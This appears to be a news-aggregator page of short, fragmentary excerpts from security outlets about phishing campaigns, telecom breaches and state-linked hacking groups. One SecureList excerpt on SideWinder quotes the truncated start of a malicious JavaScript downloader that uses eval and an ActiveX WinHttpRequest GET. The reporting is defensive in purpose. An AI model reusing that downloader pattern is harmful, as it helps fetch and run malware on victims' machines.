Security Affairs

OCTOBER 13, 2021

Threat actors are using mathematical symbols on impersonated company logos to evade detection in phishing campaigns. Researchers from anti-phishing cybersecurity firm INKY have detailed a new technique to evade detection in phishing attacks, it leverages using mathematical symbols on impersonated company logos.

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Phishing Telecommunications Accountability Marketing 114

Krebs on Security

FEBRUARY 28, 2023

In each case, the goal of the attackers was the same: Phish T-Mobile employees for access to internal company tools, and then convert that access into a cybercrime service that could be hired to divert any T-Mobile user’s text messages and phone calls to another device. One of the groups that reliably posted “Tmo up!

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The Last Watchdog

APRIL 13, 2022

The Russian government, military, and intelligence service may wish to achieve some operational effect, for example, disrupting the power grid or interfering with telecommunications infrastructure, which may be part of a larger war plan. Educate your employees on threats and risks such as phishing and malware.

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Security Affairs

DECEMBER 1, 2024

Enjoy a new round of the weekly SecurityAffairs newsletter, including the international press.

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Krebs on Security

MARCH 20, 2023

Image: Shutterstock Telecommunications giant AT&T disclosed this month that a breach at a marketing vendor exposed certain account information for nine million customers. “An individual’s CPNI can be shared with other telecommunications providers for network operating reasons,” wrote TechTarget’s Gavin Wright.

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Krebs on Security

DECEMBER 29, 2022

The unknown intruders gained access to internal Mailchimp tools and customer data by social engineering employees at the company, and then started sending targeted phishing attacks to owners of Trezor hardware cryptocurrency wallets. It emerges that email marketing giant Mailchimp got hacked. ” SEPTEMBER. ” SEPTEMBER.

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Cryptocurrency Cybercrime Computers and Electronics Scams 294

Malwarebytes

APRIL 2, 2024

Telecommunications giant AT&T has finally confirmed that 73 million current and former customers have been caught up in a massive dark web data leak. Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else.

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Security Affairs

NOVEMBER 22, 2019

The US branch of the telecommunications giant T -Mobile disclosed a security breach that according to the company impacted a small number of customers of its prepaid service. None of your financial data (including credit card information) or social security numbers was involved , and no passwords were compromised.”

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Wireless Data breaches Mobile Telecommunications 137

Security Affairs

DECEMBER 15, 2021

Researchers uncovered a new Seedworm campaign targeting telecommunication and IT service providers in the Middle East and Asia. A suspected ScreenConnect setup MSI appeared to have been delivered in a zipped file named “Special discount program.zip”, suggesting that it arrived in a spear-phishing email.”

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Telecommunications Passwords Phishing Hacking 114

Digital Shadows

MARCH 17, 2025

For businesses, this means their compromised access can be resold multiple times, leaving them vulnerable to repeated attacks from different threat actors if passwords arent changed promptly. This plaintext file often contains usernames and passwords, giving attackers immediate access to credentialsno advanced tools or expertise needed.

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VPN Authentication Ransomware Risk 133

Security Affairs

SEPTEMBER 21, 2022

Russia-linked APT group Sandworm has been observed impersonating telecommunication providers to target Ukrainian entities with malware. Russia-linked cyberespionage group Sandworm has been observed impersonating telecommunication providers to target Ukrainian entities with malware. ” reads the report published by Recorded Future.

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SecureList

OCTOBER 15, 2024

SideWinder’s most recent campaign schema Infection vectors The SideWinder attack chain typically starts with a spear-phishing email with an attachment, usually a Microsoft OOXML document (DOCX or XLSX) or a ZIP archive, which in turn contains a malicious LNK file. javascript:eval("v=ActiveXObject;x=new v("WinHttp.WinHttpRequest.5.1");x.open("GET",

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Malware Encryption Architecture Phishing 143

Security Affairs

OCTOBER 25, 2021

NOBELIUM focuses on government organizations, non-government organizations (NGOs), think tanks, military, IT service providers, health technology and research, and telecommunications providers.

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Malwarebytes

MARCH 3, 2022

The LAPSUS$ group is a relative newcomer to the ransomware scene, but it has made a name for itself by bringing down big targets like Impresa, the largest media conglomerate in Portugal, Brazil’s Ministry of Health, and Brazilian telecommunications operator Claro. The passwords and email addresses of some 70k employees were involved.

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Ransomware Password Management Passwords Hacking 98

Krebs on Security

FEBRUARY 18, 2019

government — along with a number of leading security companies — recently warned about a series of highly complex and widespread attacks that allowed suspected Iranian hackers to siphon huge volumes of email passwords and other sensitive data from multiple governments and private companies. ” IMPROVEMENTS. -Use

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SecureWorld News

OCTOBER 6, 2022

Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised.". Block obsolete or unused protocols at the network edge.".

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Passwords Telecommunications Government Risk 98

Security Affairs

JULY 13, 2019

“ Malware then guesses routers’ passwords , which new research from Avast shows are often weak. In some cases the router is reconfigured to use rogue DNS servers, which redirect victims to phishing pages that closely look like real online banking sites. ” reads a blog post published by Avast. concludes Avast.

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Security Affairs

JANUARY 10, 2019

Security experts at FireEye uncovered a DNS hijacking campaign that is targeting government agencies, ISPs and other telecommunications providers, Internet infrastructure entities, and sensitive commercial organizations in the Middle East, North Africa, North America and Europe. ” reads the report published by FireEye.

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DNS Telecommunications Government Encryption 109

Security Boulevard

FEBRUARY 14, 2022

Customers end up calling help desks for multiple reasons, including to reset their passwords and manage their profile, privacy, and data sharing settings. For example, allowing customers to manage and reset their usernames and passwords alone can save enterprises millions of dollars annually. Personally identifiable information (PII).

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Passwords Retail Digital transformation Risk 97

Security Affairs

AUGUST 21, 2019

The group hit entities in several industries, including the gaming, healthcare, high-tech, higher education, telecommunications, and travel services industries. Experts observed APT41 using spear-phishing email with attachments such as compiled HTML (. The ACEHASH malware is a credential stealer and password dumping utility.

Malware 109

Malware Telecommunications Advertising Healthcare 109

SecureWorld News

JUNE 18, 2023

Gaming (58.7%) and telecommunications (47.7%) had the highest bad bot traffic on their websites and applications. These unsolicited messages often contain malware, phishing links, or other deceptive content, intending to deceive unsuspecting recipients. Countries with High Bot Traffic 4.

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SecureList

OCTOBER 7, 2022

The malware spreads through spear-phishing emails with a malicious Microsoft Office document as attachment. The traffic originated from a suspicious library loaded into the memory of a domain controller server and registered as a Windows password filter, which has access to plain-text passwords to administrative accounts.

Malware 145

Malware Computers and Electronics Telecommunications Encryption 145

Thales Cloud Protection & Licensing

OCTOBER 3, 2019

Several months later, I learned about how Dragos had spotted a new threat group called “HEXANE” targeting oil and gas companies in the Middle East as well as telecommunications providers in the Middle East, Central Asia and Africa. Not all employees are familiar with phishing and other digital threats, for instance.

Telecommunications 92

Telecommunications Encryption Software Cyber Attacks 92

Security Boulevard

MARCH 17, 2025

Cybersecurity and Infrastructure Security Agency reveals that 90% of initial access to critical infrastructure comes via identity compromise like phishing, compromised passwords, identity systems and misconfigurations. A report from the U.S.

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eSecurity Planet

JULY 18, 2023

. “Historically, this threat actor has displayed an interest in targeting media companies, think tanks, and telecommunications equipment and service providers,” Microsoft added. Storm-0558 pursues this objective through credential harvesting, phishing campaigns, and OAuth token attacks.”

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IT Security Guru

JULY 28, 2023

SMBs should invest in comprehensive training programs to educate employees about data security best practices, such as strong password management, recognising phishing attempts, and secure file handling. Employee Education and Awareness : Human error remains a leading cause of data breaches. Christos is also a writer for Bora.

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Data breaches Risk Education Telecommunications 95

eSecurity Planet

JUNE 10, 2024

This lets threat actors change setups and access sensitive personal information of millions of Cox customers, such as MAC addresses and Wi-Fi passwords. Regularly update anti-malware software and educate your personnel about phishing dangers.

Malware 81

Malware Authentication Software Telecommunications 81

Security Boulevard

JUNE 26, 2023

Unfortunately, the increasing reliance on digital systems and capabilities has also attracted an ever-growing number of malicious actors seeking to defraud businesses through phishing , social engineering , or ransomware attacks. The end result of these types of cyber attacks are often highly public and damaging data breaches.

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Thales Cloud Protection & Licensing

JULY 21, 2022

The threat of attacks against Critical National Infrastructure (CNI) – energy, utilities, telecommunications, and transportation – is now front of mind for many. This includes using easily guessed passwords and falling victim to phishing and socially engineered techniques such as business email compromise.

Cyber threats 71

Cyber threats Energy and Utilities Ransomware IoT 71

eSecurity Planet

JUNE 17, 2021

With the EDB PostgreSQL Advanced Server, clients gain features like password profiles, enhanced audit logging, and data redaction. Started in 1987, the telecommunications provider has become a multinational technology whale. Google Cloud Platform (GCP). Also Read: Cloud Bucket Vulnerability Management in 2021. Microsoft Azure.

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Firewall Encryption Computers and Electronics Software 121

Security Boulevard

MARCH 24, 2022

On March 12th, Ukraine's Computer Emergency Response Team (UA-Cert) warned about phishing emails impersonating Ukrainian government entities. [ In a post made in a Telegram group - allegedly run by the actor - the adversary recruits employees working at telecommunication, technology, or software companies.

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Spinone

DECEMBER 26, 2018

Social engineering attacks , including phishing, spam, and viruses introduced via clickable links within e-mail affected 80% of the banking institutions in 2016. Social engineering attacks , including phishing, spam, and viruses introduced via clickable links within e-mail affected 80% of the banking institutions in 2016.

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Security Affairs

DECEMBER 4, 2024

China-linked APT group Salt Typhoon has breached telecommunications companies in dozens of countries, US govt warns. President Biden’s deputy national security adviser Anne Neuberger said that China-linked APT group Salt Typhoon has breached telecommunications companies in dozens of countries. reads the joint advisory.

Telecommunications 124

Telecommunications Government Mobile Cyber threats 124

Hacker Combat

SEPTEMBER 27, 2021

The cyberattacks involved ADSelfService ManageEngine Plus, a password administration program. As a result, they are at more risk of phishing and other cyber-attacks. Associated Press) reported that potential Chinese state cybercriminals had targeted the biggest water agency in the country and Verizon, a telecommunications giant.

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Hacking Telecommunications Risk Government 129

Thales Cloud Protection & Licensing

OCTOBER 23, 2023

The threat of attacks against Critical National Infrastructure (CNI) – energy, utilities, telecommunications, and transportation – is a top priority. Phishing attacks and malware (including ransomware) are operations that provide threat actors with a higher return on investment; as a result, they are well-liked by the criminal underworld.

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Energy and Utilities Cybersecurity Ransomware Technology 77

Security Boulevard

JANUARY 17, 2025

Dont use default password in your products. Tests will cover areas including password authentication, data protection, software updates and incident detection. Provide timely security patches to customers. Let users know when your products are nearing end-of-life status and you will no longer provide security patches for them.

Cybersecurity 52

Cybersecurity IoT Software Authentication 52

SecureList

DECEMBER 18, 2024

Telegram channel suggests that the hacktivists do not use phishing emails as an initial attack vector. A key factor in securing infrastructure is compliance with password-protection policies for access to the information security systems. managed to disable an EPP agent without a password, using the rm.ps1 script. Matches[0].Value

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